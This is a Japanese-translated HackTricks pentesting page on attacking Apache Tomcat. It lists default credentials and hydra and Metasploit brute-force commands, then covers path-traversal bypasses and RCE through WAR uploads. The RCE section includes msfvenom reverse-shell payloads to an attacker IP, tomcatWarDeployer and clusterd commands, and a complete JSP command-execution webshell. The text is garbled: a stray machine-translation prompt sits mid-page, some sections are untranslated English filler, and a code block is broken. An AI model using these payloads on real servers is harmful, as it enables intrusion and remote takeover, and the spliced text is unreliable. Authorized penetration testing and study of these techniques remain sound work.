hacktricks/network-services-pentesting/pentesting-web/tomcat.md

305 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Tomcat
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## ディスカバリー
* 通常は**ポート8080**で実行されます
* **一般的なTomcatエラー**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## 列挙
### バージョン
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
```
### マネージャーファイルの場所を特定する
**`/manager`** と **`/host-manager`** のページがどこにあるかを見つけるのは興味深いです。これらのページは異なる名前を持つ場合もあります。ブルートフォースで検索することができます。
### ユーザー名の列挙
Tomcat6以前のバージョンでは、ユーザー名を列挙することができました。
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### デフォルトの資格情報
Tomcatの最も興味深いパスは_**/manager/html**_です。このパスでは、**warファイルをアップロードして展開することができます**コードを実行できます。ただし、このパスは基本的なHTTP認証で保護されています。最も一般的な資格情報は次のとおりです
* admin:admin
* tomcat:tomcat
* admin:\<何も入力しない>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
これらと他の資格情報をテストすることができます。
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
もう一つの興味深いTomcatのパスは`/manager/status`です。ここではOSとTomcatのバージョンを確認することができます。これは、`/manager/html`にアクセスできない場合に、Tomcatのバージョンに影響を与える脆弱性を見つけるのに役立ちます。
### ブルートフォース攻撃
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
## 脆弱性
### パスワードのバックトレースの漏洩
`/auth.jsp` にアクセスしてみて、非常に幸運な場合には、**バックトレースでパスワードが漏洩するかもしれません**。
### 二重URLエンコード
よく知られた脆弱性であるCVE-2007-1860では、アプリケーションマネージャにアクセスするための手段として、**二重URLエンコードのパストラバーサル**が可能です。
Tomcatの管理ウェブにアクセスするには、以下のパスを使用します: _pathTomcat/%252E%252E/manager/html_
Webシェルをアップロードするためには、二重URLエンコードのトリックを使用し、クッキーやSSRFトークンも送信する必要があるかもしれません。\
バックドアにアクセスするには、二重URLエンコードのトリックを使用する必要があるかもしれません。
### /examples
以下の例示スクリプトは、Apache Tomcat v4.x - v7.xに付属しており、攻撃者がシステムに関する情報を入手するために使用することができます。これらのスクリプトは、クロスサイトスクリプティングXSSインジェクションにも脆弱であることが知られています[ここから](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/))。
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### パストラバーサル(..;/
一部の[**脆弱なTomcatの設定**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、パス `/..;/` を使用してTomcatの保護されたディレクトリにアクセスできます。
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。
このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
## RCE
最後に、Tomcat Web Application Managerにアクセスできる場合、**.warファイルをアップロードして展開することでコードを実行できます**。
### 制限事項
WARファイルを展開できるのは、**十分な権限(ロール: admin、manager、manager-script**を持っている場合のみです。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている`tomcat-users.xml`の下に見つけることができます(バージョンによって異なります)([POST ](tomcat.md#post)sectionを参照
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit is a powerful framework for penetration testing and exploiting vulnerabilities in network services. It provides a wide range of tools and modules that can be used to identify and exploit security weaknesses in target systems.
Metasploit is designed to be user-friendly and flexible, allowing both novice and experienced hackers to effectively carry out their attacks. It supports various exploitation techniques, including remote code execution, privilege escalation, and post-exploitation activities.
One of the key features of Metasploit is its extensive database of exploits, payloads, and auxiliary modules. These modules can be easily customized and combined to create complex attack scenarios. Metasploit also provides a command-line interface and a graphical user interface, making it accessible to users with different levels of technical expertise.
In addition to its exploitation capabilities, Metasploit also includes features for vulnerability scanning, password cracking, and social engineering. It supports a wide range of network protocols and services, including HTTP, FTP, SSH, and SMB.
Metasploit is constantly updated with new exploits and modules, making it a valuable tool for both offensive and defensive security professionals. However, it is important to note that the use of Metasploit for unauthorized activities is illegal and unethical. It should only be used for legitimate purposes, such as penetration testing and security research.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom リバースシェル
MSFVenomは、Metasploit Frameworkの一部であり、悪意のあるペイロードを生成するために使用されます。リバースシェルは、ターゲットマシンから攻撃者のマシンに接続するために使用される一種のシェルです。以下のコマンドは、MSFVenomを使用してリバースシェルペイロードを生成する方法を示しています。
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f war > shell.war
```
このコマンドでは、`java/jsp_shell_reverse_tcp`ペイロードを使用して、攻撃者のIPアドレスとポート番号を指定しています。生成されたペイロードは、`shell.war`という名前のWARファイルに保存されます。
この生成されたWARファイルをターゲットのTomcatサーバーにデプロイすると、攻撃者はリバースシェルを取得し、ターゲットマシンに対してコマンドを実行することができます。
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
次に、**`revshell.war`ファイルをアップロードし、それにアクセスします(**_**/revshell/**_****
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用してバインドシェルとリバースシェルを作成する
一部のシナリオではこれが機能しないことがありますたとえば古いバージョンのsun
#### ダウンロード
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### リバースシェル
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in penetration testing to gain control over a compromised system.
To create a reverse shell, the attacker typically needs to exploit a vulnerability in a network service running on the target machine. Once the vulnerability is exploited, the attacker can inject malicious code that establishes a connection back to their machine.
There are various tools and techniques available for creating reverse shells, including using netcat, Python, or Metasploit. The choice of tool depends on the specific requirements of the penetration test and the target environment.
It is important to note that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used in controlled environments with proper authorization and consent.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### バインドシェル
A bind shell is a type of shell that allows an attacker to gain remote access to a compromised system. It works by binding a shell to a specific port on the target system, allowing the attacker to connect to that port and gain control over the system.
To create a bind shell, the attacker typically exploits a vulnerability in a network service running on the target system, such as a web server or an FTP server. Once the vulnerability is exploited, the attacker can execute a command that starts a shell and binds it to a specific port.
Once the bind shell is established, the attacker can use a client program, such as Netcat, to connect to the target system on the specified port. This allows the attacker to interact with the shell and execute commands on the compromised system.
Bind shells are commonly used in penetration testing and hacking activities to gain unauthorized access to systems. It is important for system administrators to be aware of the risks associated with bind shells and take appropriate measures to secure their systems against such attacks.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### [Culsterd](https://github.com/hatRiot/clusterd)の使用
Culsterdを使用すると、Tomcatサーバーに対するペネトレーションテストを実行できます。Culsterdは、Tomcatサーバーの脆弱性を検出し、攻撃者が悪意のある操作を行うためのエクスプロイトを提供します。
Culsterdを使用するには、まずCulsterdをダウンロードしてインストールする必要があります。次に、Culsterdを実行し、TomcatサーバーのIPアドレスとポート番号を指定します。Culsterdは、指定されたIPアドレスとポート番号に接続し、Tomcatサーバーの脆弱性をスキャンします。
Culsterdは、脆弱性のあるTomcatバージョンを特定し、攻撃者が悪意のある操作を行うためのエクスプロイトを提供します。これにより、攻撃者はTomcatサーバーに対して様々な攻撃を実行することができます。
Culsterdを使用する際には、慎重に行動する必要があります。正当な目的でのみ使用し、適切な許可を得た場合にのみ実行してください。また、Culsterdを使用する前に、法的および倫理的な制約を理解し、遵守する必要があります。
Culsterdを使用することで、Tomcatサーバーのセキュリティに関する洞察を得ることができます。これにより、セキュリティの脆弱性を特定し、適切な対策を講じることができます。
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### 手動方法 - ウェブシェル
この[コンテンツ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)を使用して、**index.jsp**を作成してください。
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
以下は、ハッキング技術に関する本からのコンテンツです。以下のコンテンツは、ファイルnetwork-services-pentesting/pentesting-web/tomcat.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文をそのまま保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
```
You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Manual Method 2
Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:
```
### 手動方法2
以下のようなJSPウェブシェルを入手し、WARファイルを作成します
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Tomcatの認証情報ファイルの名前は _tomcat-users.xml_ です。
```bash
find / -name tomcat-users.xml 2>/dev/null
```
他のTomcatの資格情報を収集する方法:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## 他のTomcatスキャンツール
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>